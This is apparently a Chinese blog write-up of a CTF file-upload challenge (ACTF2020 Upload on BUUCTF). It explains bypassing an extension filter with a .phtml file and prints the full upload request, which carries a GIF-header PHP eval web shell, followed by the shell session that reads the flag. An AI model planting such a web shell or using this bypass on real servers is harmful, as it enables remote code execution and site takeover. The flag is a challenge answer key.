

ACTF2020 新生赛 Upload

原创

H3mesk1t 于 2021-05-26 20:09:26 发布 40 收藏

分类专栏: [# BUUCTF-Web](#) 文章标签: [文件上传](#) [ctf web安全](#) [新星计划](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/LYJ20010728/article/details/117303817>

版权



[BUUCTF-Web](#) 专栏收录该内容

44 篇文章 1 订阅

订阅专栏

ACTF2020 新生赛 Upload

[考点](#)

[思路](#)

[Payload](#)

考点

phtml绕过, 文件上传

思路

- 将鼠标移至灯泡处发现存在文件上传框
- 老样子先尝试php文件能否上传成功, 虽然说一直没得用
- 改后缀名绕过发现phtml可以成功
- 蚁剑连接骑马儿~

Payload

```
17 Content-Type: image/png
18
19 GIF89a
20 <script language="php">@eval($_POST['cmd']);</script>
21 -----WebKitFormBoundaryBzRk4ozLTntQ27Xa
22 Content-Disposition: form-data; name="submit"
23
24 upload
25 -----WebKitFormBoundaryBzRk4ozLTntQ27Xa--
26
```

```
100
101 </svg>
102 <div class="light">
103   <span class="glow">
104     <form enctype="multipart/form-data" method="post" onsubmit="ret
105       0000000000
106       <input class="input_file" type="file" name="upload_file"/>
107       <input class="button" type="submit" name="submit" value="uplo
108     </form>
109     <span class="flare"></span>
110   </div>
111 </div>
112 <div style="color:#F00">
113   Upload Success! Look here- ./uplo4d/bd914ca4997d34857501cefab00
114 </div>
115 </body>
116 </html>
```

<https://blog.csdn.net/LYJ2001072>

```
(www-data:/var/www/html/uplo4d) $ tac /flag
flag{935bd9f0-1859-46fa-beb0-1e20e5214b56}
(www-data:/var/www/html/uplo4d) $
```